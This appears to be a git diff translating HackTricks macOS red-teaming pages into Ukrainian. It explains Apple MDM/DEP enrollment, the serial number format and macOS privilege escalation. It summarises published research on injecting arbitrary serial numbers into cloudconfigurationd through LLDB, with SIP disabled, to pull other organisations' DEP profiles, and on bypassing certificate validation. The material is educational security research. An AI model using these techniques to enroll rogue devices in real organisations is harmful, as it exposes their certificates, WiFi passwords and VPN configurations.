It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device.
Важливо зазначити, що простота реєстрації, яку забезпечує DEP, хоча й корисна, може також становити ризики для безпеки. Якщо захисні заходи не будуть адекватно впроваджені для реєстрації MDM, зловмисники можуть скористатися цим спрощеним процесом, щоб зареєструвати свій пристрій на сервері MDM організації, маскуючись під корпоративний пристрій.
> [!CAUTION]
> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place.
> **Попередження безпеки**: Спрощена реєстрація DEP може потенційно дозволити несанкціоновану реєстрацію пристроїв на сервері MDM організації, якщо не будуть вжиті належні запобіжні заходи.
### Basics What is SCEP (Simple Certificate Enrolment Protocol)?
### Основи Що таке SCEP (Протокол простого реєстрації сертифікатів)?
- A relatively old protocol, created before TLS and HTTPS were widespread.
- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate.
- Відносно старий протокол, створений до того, як TLS і HTTPS стали поширеними.
- Надає клієнтам стандартизований спосіб надсилання **Запиту на підпис сертифіката** (CSR) з метою отримання сертифіката. Клієнт запитує у сервера підписаний сертифікат.
### What are Configuration Profiles (aka mobileconfigs)?
### Що таке Конфігураційні профілі (також відомі як mobileconfigs)?
- Apple’s official way of **setting/enforcing system configuration.**
- File format that can contain multiple payloads.
- Based on property lists (the XML kind).
- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018.
- Офіційний спосіб Apple **налаштування/забезпечення системної конфігурації.**
- Формат файлу, який може містити кілька навантажень.
- Базується на списках властивостей (XML-формат).
- “може бути підписаним і зашифрованим для перевірки їх походження, забезпечення їх цілісності та захисту їх вмісту.” Основи — Сторінка 70, Посібник з безпеки iOS, січень 2018.
## Protocols
## Протоколи
### MDM
- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Communication** occurs between a **device** and a server associated with a **device** **management** **product**
- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries**
- All over **HTTPS**. MDM servers can be (and are usually) pinned.
- Apple grants the MDM vendor an **APNs certificate** for authentication
- Комбінація APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Зв'язок** відбувається між **пристроєм** і сервером, пов'язаним з продуктом **управління пристроями**
- **Команди** надсилаються з MDM на пристрій у **plist-кодованих словниках**
- Всі через **HTTPS**. Сервери MDM можуть бути (і зазвичай є) закріпленими.
- Apple надає постачальнику MDM **сертифікат APNs** для аутентифікації
### DEP
- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented):
- The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices.
- The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status.
- The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API.
- More modern and **JSON** based (vs. plist)
- Apple grants an **OAuth token** to the MDM vendor
- **3 API**: 1 для реселерів, 1 для постачальників MDM, 1 для ідентифікації пристроїв (недокументований):
- Так званий [DEP "хмарний сервіс" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Це використовується серверами MDM для асоціювання профілів DEP з конкретними пристроями.
- [DEP API, що використовується авторизованими реселерами Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) для реєстрації пристроїв, перевірки статусу реєстрації та перевірки статусу транзакцій.
- Недокументований приватний DEP API. Це використовується пристроями Apple для запиту свого профілю DEP. На macOS бінарний файл `cloudconfigurationd` відповідає за зв'язок через цей API.
- Сучасніший і **JSON**-орієнтований (в порівнянні з plist)
- Apple надає постачальнику MDM **токен OAuth**
**DEP "cloud service" API**
**DEP "хмарний сервіс" API**
- RESTful
- sync device records from Apple to the MDM server
- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on)
- A DEP “profile” contains:
- MDM vendor server URL
- Additional trusted certificates for server URL (optional pinning)
- Extra settings (e.g. which screens to skip in Setup Assistant)
- синхронізує записи пристроїв з Apple на сервер MDM
- синхронізує “DEP профілі” з Apple з сервера MDM (доставляється Apple на пристрій пізніше)
- DEP “профіль” містить:
- URL сервера постачальника MDM
- Додаткові довірені сертифікати для URL сервера (необов'язкове закріплення)
- Додаткові налаштування (наприклад, які екрани пропустити в Помічнику налаштування)
## Serial Number
## Серійний номер
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**.
Пристрої Apple, виготовлені після 2010 року, зазвичай мають **12-символьні алфавітно-цифрові** серійні номери, де **перші три цифри представляють місце виготовлення**, наступні **дві** вказують на **рік** і **тиждень** виготовлення, наступні **три** цифри надають **унікальний** **ідентифікатор**, а **останні** **чотири** цифри представляють **номер моделі**.
{{#ref}}
macos-serial-number.md
{{#endref}}
## Steps for enrolment and management
## Кроки для реєстрації та управління
1. Device record creation (Reseller, Apple): The record for the new device is created
2. Device record assignment (Customer): The device is assigned to a MDM server
3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple
4. DEP check-in (Device): Device gets his DEP profile
5. Profile retrieval (Device)
6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads
7. MDM command issuance (Device)
1. Створення запису пристрою (Реселер, Apple): Запис для нового пристрою створюється
2. Призначення запису пристрою (Клієнт): Пристрій призначається серверу MDM
3. Синхронізація запису пристрою (Постачальник MDM): MDM синхронізує записи пристроїв і надсилає профілі DEP до Apple
4. Перевірка DEP (Пристрій): Пристрій отримує свій профіль DEP
5. Отримання профілю (Пристрій)
6. Встановлення профілю (Пристрій) a. включаючи MDM, SCEP та навантаження кореневого CA
7. Видача команди MDM (Пристрій)
![](<../../../images/image (694).png>)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process.
Файл `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` експортує функції, які можна вважати **високорівневими "кроками"** процесу реєстрації.
### Step 4: DEP check-in - Getting the Activation Record
### Крок 4: Перевірка DEP - Отримання запису активації
This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe)
Ця частина процесу відбувається, коли **користувач вперше завантажує Mac** (або після повного скидання)
![](<../../../images/image (1044).png>)
or when executing `sudo profiles show -type enrollment`
або при виконанні `sudo profiles show -type enrollment`
- Determine **whether device is DEP enabled**
- Activation Record is the internal name for **DEP “profile”**
- Begins as soon as the device is connected to Internet
- Driven by **`CPFetchActivationRecord`**
- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record.
- LaunchDaemon (always runs as root)
- Визначити **чи пристрій активовано DEP**
- Запис активації — це внутрішня назва для **DEP “профілю”**
- Починається, як тільки пристрій підключається до Інтернету
- Керується **`CPFetchActivationRecord`**
- Реалізовано **`cloudconfigurationd`** через XPC. **"Помічник налаштування"** (коли пристрій вперше завантажується) або команда **`profiles`** зв'яжуться з цим демонстраційним процесом для отримання запису активації.
- LaunchDaemon (завжди працює як root)
It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe**
Він проходить кілька кроків для отримання запису активації, виконаних **`MCTeslaConfigurationFetcher`**. Цей процес використовує шифрування під назвою **Absinthe**
1. Retrieve **certificate**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Initialize** state from certificate (**`NACInit`**)
1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**)
3. Retrieve **session key**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Establish the session (**`NACKeyEstablishment`**)
5. Make the request
1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. The JSON payload is encrypted using Absinthe (**`NACSign`**)
3. All requests over HTTPs, built-in root certificates are used
1. Отримати **сертифікат**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Ініціалізувати** стан з сертифіката (**`NACInit`**)
1. Використовує різні дані, специфічні для пристрою (тобто **Серійний номер через `IOKit`**)
3. Отримати **ключ сесії**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Встановити сесію (**`NACKeyEstablishment`**)
5. Зробити запит
1. POST на [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile), надсилаючи дані `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. JSON навантаження зашифроване за допомогою Absinthe (**`NACSign`**)
3. Всі запити через HTTPs, використовуються вбудовані кореневі сертифікати
![](<../../../images/image (566) (1).png>)
The response is a JSON dictionary with some important data like:
Відповідь є JSON-словником з деякими важливими даними, такими як:
- **url**: URL of the MDM vendor host for the activation profile
- **anchor-certs**: Array of DER certificates used as trusted anchors
- **url**: URL хоста постачальника MDM для профілю активації
- **anchor-certs**: Масив сертифікатів DER, що використовуються як довірені якорі
### **Step 5: Profile Retrieval**
### **Крок 5: Отримання профілю**
![](<../../../images/image (444).png>)
- Request sent to **url provided in DEP profile**.
- **Anchor certificates** are used to **evaluate trust** if provided.
- Reminder: the **anchor_certs** property of the DEP profile
- **Request is a simple .plist** with device identification
- Examples: **UDID, OS version**.
- CMS-signed, DER-encoded
- Signed using the **device identity certificate (from APNS)**
- **Certificate chain** includes expired **Apple iPhone Device CA**
- Запит надіслано на **url, наданий у профілі DEP**.
- **Довірчі сертифікати** використовуються для **оцінки довіри**, якщо надано.
- Нагадування: властивість **anchor_certs** профілю DEP
- **Запит є простим .plist** з ідентифікацією пристрою
- Приклади: **UDID, версія ОС**.
- CMS-підписаний, DER-кодований
- Підписаний за допомогою **сертифіката ідентифікації пристрою (з APNS)**
- **Цепочка сертифікатів** включає прострочений **Apple iPhone Device CA**
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Step 6: Profile Installation
### Крок 6: Встановлення профілю
- Once retrieved, **profile is stored on the system**
- This step begins automatically (if in **setup assistant**)
- Driven by **`CPInstallActivationProfile`**
- Implemented by mdmclient over XPC
- LaunchDaemon (as root) or LaunchAgent (as user), depending on context
- Configuration profiles have multiple payloads to install
- Framework has a plugin-based architecture for installing profiles
- Each payload type is associated with a plugin
- Can be XPC (in framework) or classic Cocoa (in ManagedClient.app)
- Example:
- Certificate Payloads use CertificateService.xpc
- Після отримання **профіль зберігається в системі**
- Цей крок починається автоматично (якщо в **помічнику налаштування**)
- Керується **`CPInstallActivationProfile`**
- Реалізовано mdmclient через XPC
- LaunchDaemon (як root) або LaunchAgent (як користувач), залежно від контексту
- Конфігураційні профілі мають кілька навантажень для встановлення
- Фреймворк має архітектуру на основі плагінів для встановлення профілів
- Кожен тип навантаження асоційований з плагіном
- Може бути XPC (в фреймворку) або класичний Cocoa (в ManagedClient.app)
- Приклад:
- Навантаження сертифікатів використовує CertificateService.xpc
Typically, **activation profile** provided by an MDM vendor will **include the following payloads**:
Зазвичай **профіль активації**, наданий постачальником MDM, буде **включати наступні навантаження**:
- `com.apple.mdm`: to **enroll** the device in MDM
- `com.apple.security.scep`: to securely provide a **client certificate** to the device.
- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain.
- Installing the MDM payload equivalent to **MDM check-in in the documentation**
- Payload **contains key properties**:
- - MDM Check-In URL (**`CheckInURL`**)
- MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it
- To install MDM payload, request is sent to **`CheckInURL`**
- Implemented in **`mdmclient`**
- MDM payload can depend on other payloads
- Allows **requests to be pinned to specific certificates**:
- Property: **`CheckInURLPinningCertificateUUIDs`**
- Property: **`ServerURLPinningCertificateUUIDs`**
- Delivered via PEM payload
- Allows device to be attributed with an identity certificate:
- Property: IdentityCertificateUUID
- Delivered via SCEP payload
- `com.apple.mdm`: для **реєстрації** пристрою в MDM
- `com.apple.security.scep`: для безпечного надання **клієнтського сертифіката** пристрою.
- `com.apple.security.pem`: для **встановлення довірених CA сертифікатів** в системний ключовий магазин пристрою.
- Встановлення навантаження MDM еквівалентно **перевірці MDM в документації**
- Навантаження **містить ключові властивості**:
- - URL перевірки MDM (**`CheckInURL`**)
- URL опитування команд MDM (**`ServerURL`**) + тема APNs для його активації
- Для встановлення навантаження MDM запит надсилається на **`CheckInURL`**
- Реалізовано в **`mdmclient`**
- Навантаження MDM може залежати від інших навантажень
- Дозволяє **запити бути закріпленими за конкретними сертифікатами**:
- Властивість: **`CheckInURLPinningCertificateUUIDs`**
- Властивість: **`ServerURLPinningCertificateUUIDs`**
- Доставляється через навантаження PEM
- Дозволяє пристрою бути атрибутованим сертифікатом ідентифікації:
- Властивість: IdentityCertificateUUID
- Доставляється через навантаження SCEP
### **Step 7: Listening for MDM commands**
### **Крок 7: Слухання команд MDM**
- After MDM check-in is complete, vendor can **issue push notifications using APNs**
- Upon receipt, handled by **`mdmclient`**
- To poll for MDM commands, request is sent to ServerURL
- Makes use of previously installed MDM payload:
- **`ServerURLPinningCertificateUUIDs`** for pinning request
- **`IdentityCertificateUUID`** for TLS client certificate
- Після завершення перевірки MDM постачальник може **надсилати push-сповіщення за допомогою APNs**
- Після отримання обробляється **`mdmclient`**
- Для опитування команд MDM запит надсилається на ServerURL
- Використовує раніше встановлене навантаження MDM:
- **`ServerURLPinningCertificateUUIDs`** для закріплення запиту
- **`IdentityCertificateUUID`** для TLS клієнтського сертифіката
## Attacks
## Атаки
### Enrolling Devices in Other Organisations
### Реєстрація пристроїв в інших організаціях
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected:
Як вже зазначалося, для того щоб спробувати зареєструвати пристрій в організації **потрібен лише серійний номер, що належить цій організації**. Після реєстрації пристрою кілька організацій встановлять чутливі дані на новий пристрій: сертифікати, програми, паролі WiFi, конфігурації VPN [і так далі](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Отже, це може бути небезпечна точка входу для зловмисників, якщо процес реєстрації не буде належним чином захищений:
{{#ref}}
enrolling-devices-in-other-organisations.md

56
src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md
View File

@ -1,53 +1,53 @@
# Enrolling Devices in Other Organisations
# Реєстрація пристроїв в інших організаціях
{{#include ../../../banners/hacktricks-training.md}}
## Intro
## Вступ
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
Як [**раніше зазначалося**](./#what-is-mdm-mobile-device-management)**,** для того, щоб спробувати зареєструвати пристрій в організації **потрібен лише серійний номер, що належить цій організації**. Після реєстрації пристрою кілька організацій встановлять чутливі дані на новий пристрій: сертифікати, програми, паролі WiFi, конфігурації VPN [і так далі](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Отже, це може бути небезпечна точка входу для зловмисників, якщо процес реєстрації не захищений належним чином.
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!**
**Наступне є підсумком дослідження [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Перевірте його для отримання додаткових технічних деталей!**
## Overview of DEP and MDM Binary Analysis
## Огляд аналізу бінарних файлів DEP та MDM
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include:
Це дослідження заглиблюється в бінарні файли, пов'язані з Програмою реєстрації пристроїв (DEP) та Управлінням мобільними пристроями (MDM) на macOS. Основні компоненти включають:
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4.
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later.
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles.
- **`mdmclient`**: Спілкується з MDM-серверами та ініціює перевірки DEP на версіях macOS до 10.13.4.
- **`profiles`**: Керує конфігураційними профілями та ініціює перевірки DEP на версіях macOS 10.13.4 і пізніше.
- **`cloudconfigurationd`**: Керує комунікаціями API DEP та отримує профілі реєстрації пристроїв.
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC.
Перевірки DEP використовують функції `CPFetchActivationRecord` та `CPGetActivationRecord` з приватної структури конфігураційних профілів для отримання активаційного запису, при цьому `CPFetchActivationRecord` координується з `cloudconfigurationd` через XPC.
## Tesla Protocol and Absinthe Scheme Reverse Engineering
## Протокол Tesla та зворотне інженерування схеми Absinthe
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request.
Перевірка DEP передбачає, що `cloudconfigurationd` надсилає зашифроване, підписане JSON-повідомлення на _iprofiles.apple.com/macProfile_. Повідомлення містить серійний номер пристрою та дію "RequestProfileConfiguration". Схема шифрування, що використовується, внутрішньо називається "Absinthe". Розгадування цієї схеми є складним і передбачає численні етапи, що призвело до вивчення альтернативних методів вставки довільних серійних номерів у запит активаційного запису.
## Proxying DEP Requests
## Проксіювання запитів DEP
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key.
Спроби перехопити та змінити запити DEP до _iprofiles.apple.com_ за допомогою інструментів, таких як Charles Proxy, були ускладнені шифруванням повідомлень та заходами безпеки SSL/TLS. Однак увімкнення конфігурації `MCCloudConfigAcceptAnyHTTPSCertificate` дозволяє обійти перевірку сертифіката сервера, хоча зашифрований характер повідомлення все ще заважає зміні серійного номера без ключа розшифрування.
## Instrumenting System Binaries Interacting with DEP
## Інструментування системних бінарних файлів, що взаємодіють з DEP
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.
Інструментування системних бінарних файлів, таких як `cloudconfigurationd`, вимагає вимкнення захисту цілісності системи (SIP) на macOS. З вимкненим SIP інструменти, такі як LLDB, можуть бути використані для підключення до системних процесів і потенційно зміни серійного номера, що використовується в взаємодіях з API DEP. Цей метод є переважним, оскільки уникає складнощів з правами доступу та підписуванням коду.
**Exploiting Binary Instrumentation:**
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved:
**Експлуатація бінарного інструментування:**
Зміна навантаження запиту DEP перед серіалізацією JSON у `cloudconfigurationd` виявилася ефективною. Процес включав:
1. Attaching LLDB to `cloudconfigurationd`.
2. Locating the point where the system serial number is fetched.
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent.
1. Підключення LLDB до `cloudconfigurationd`.
2. Знаходження точки, де отримується серійний номер системи.
3. Введення довільного серійного номера в пам'ять перед шифруванням та відправкою навантаження.
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability.
Цей метод дозволив отримати повні профілі DEP для довільних серійних номерів, демонструючи потенційну вразливість.
### Automating Instrumentation with Python
### Автоматизація інструментування за допомогою Python
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles.
Процес експлуатації був автоматизований за допомогою Python з API LLDB, що зробило можливим програмне введення довільних серійних номерів та отримання відповідних профілів DEP.
### Potential Impacts of DEP and MDM Vulnerabilities
### Потенційні наслідки вразливостей DEP та MDM
The research highlighted significant security concerns:
Дослідження підкреслило значні проблеми безпеки:
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
1. **Розкриття інформації**: Надаючи зареєстрований серійний номер DEP, можна отримати чутливу організаційну інформацію, що міститься в профілі DEP.
{{#include ../../../banners/hacktricks-training.md}}

50
src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md
View File

@ -1,40 +1,40 @@
# macOS Serial Number
# macOS Серійний номер
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
Пристрої Apple після 2010 року мають серійні номери, що складаються з **12 алфавітно-цифрових символів**, кожен сегмент передає конкретну інформацію:
- **First 3 Characters**: Indicate the **manufacturing location**.
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
- **Last 4 Characters**: Specify the **model number**.
- **Перші 3 символи**: Вказують на **місце виробництва**.
- **Символи 4 та 5**: Позначають **рік та тиждень виробництва**.
- **Символи 6 до 8**: Служать як **унікальний ідентифікатор** для кожного пристрою.
- **Останні 4 символи**: Вказують на **номер моделі**.
For instance, the serial number **C02L13ECF8J2** follows this structure.
Наприклад, серійний номер **C02L13ECF8J2** слідує цій структурі.
### **Manufacturing Locations (First 3 Characters)**
### **Місця виробництва (Перші 3 символи)**
Certain codes represent specific factories:
Деякі коди представляють конкретні фабрики:
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
- **RN**: Mexico.
- **CK**: Cork, Ireland.
- **VM**: Foxconn, Czech Republic.
- **SG/E**: Singapore.
- **MB**: Malaysia.
- **PT/CY**: Korea.
- **EE/QT/UV**: Taiwan.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
- **C0, C3, C7**: Specific cities in China.
- **RM**: Refurbished devices.
- **FC, F, XA/XB/QP/G8**: Різні місця в США.
- **RN**: Мексика.
- **CK**: Корк, Ірландія.
- **VM**: Foxconn, Чехія.
- **SG/E**: Сінгапур.
- **MB**: Малайзія.
- **PT/CY**: Корея.
- **EE/QT/UV**: Тайвань.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Різні місця в Китаї.
- **C0, C3, C7**: Конкретні міста в Китаї.
- **RM**: Відновлені пристрої.
### **Year of Manufacturing (4th Character)**
### **Рік виробництва (4-й символ)**
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
Цей символ варіюється від 'C' (представляє першу половину 2010 року) до 'Z' (друга половина 2019 року), з різними літерами, що вказують на різні піврічні періоди.
### **Week of Manufacturing (5th Character)**
### **Тиждень виробництва (5-й символ)**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
Цифри 1-9 відповідають тижням 1-9. Літери C-Y (за винятком голосних та 'S') представляють тижні 10-27. Для другої половини року до цього числа додається 26.
{{#include ../../../banners/hacktricks-training.md}}

74
src/macos-hardening/macos-security-and-privilege-escalation/README.md
View File

@ -2,32 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic MacOS
If you are not familiar with macOS, you should start learning the basics of macOS:
Якщо ви не знайомі з macOS, вам слід почати вивчати основи macOS:
- Special macOS **files & permissions:**
- Спеціальні файли та **дозволи macOS:**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Common macOS **users**
- Загальні **користувачі macOS**
{{#ref}}
macos-users.md
@ -39,30 +24,30 @@ macos-users.md
macos-applefs.md
{{#endref}}
- The **architecture** of the k**ernel**
- **Архітектура** ядра
{{#ref}}
mac-os-architecture/
{{#endref}}
- Common macOS n**etwork services & protocols**
- Загальні **мережеві сервіси та протоколи macOS**
{{#ref}}
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- Щоб завантажити `tar.gz`, змініть URL, наприклад, [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) на [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:
У компаніях системи **macOS**, ймовірно, будуть **керуватися за допомогою MDM**. Тому з точки зору зловмисника цікаво знати, **як це працює**:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspecting, Debugging and Fuzzing
### MacOS - Інспекція, налагодження та фуззинг
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
@ -78,17 +63,17 @@ macos-security-protections/
### File Permissions
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
This could occur in the following situations:
Якщо **процес, що працює від імені root, записує** файл, який може контролюватися користувачем, користувач може зловживати цим для **ескалації привілеїв**.\
Це може статися в наступних ситуаціях:
- File used was already created by a user (owned by the user)
- File used is writable by the user because of a group
- File used is inside a directory owned by the user (the user could create the file)
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)
- Файл, що використовується, вже був створений користувачем (належить користувачу)
- Файл, що використовується, доступний для запису користувачем через групу
- Файл, що використовується, знаходиться в каталозі, що належить користувачу (користувач може створити файл)
- Файл, що використовується, знаходиться в каталозі, що належить root, але користувач має доступ на запис через групу (користувач може створити файл)
Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.
Можливість **створити файл**, який буде **використовуватися root**, дозволяє користувачу **використовувати його вміст** або навіть створювати **символьні/жорсткі посилання** на інше місце.
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**:
Для таких вразливостей не забудьте **перевірити вразливі `.pkg` інсталятори**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
@ -96,7 +81,7 @@ macos-files-folders-and-binaries/macos-installers-abuse.md
### File Extension & URL scheme app handlers
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols
Дивні програми, зареєстровані за допомогою розширень файлів, можуть бути зловживані, і різні програми можуть бути зареєстровані для відкриття конкретних протоколів
{{#ref}}
macos-file-extension-apps.md
@ -104,17 +89,17 @@ macos-file-extension-apps.md
## macOS TCC / SIP Privilege Escalation
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others.
У macOS **додатки та бінарні файли можуть мати дозволи** на доступ до папок або налаштувань, які роблять їх більш привілейованими, ніж інші.
Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs).
Отже, зловмисник, який хоче успішно скомпрометувати машину macOS, повинен **ескалувати свої привілеї TCC** (або навіть **обійти SIP**, залежно від його потреб).
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.
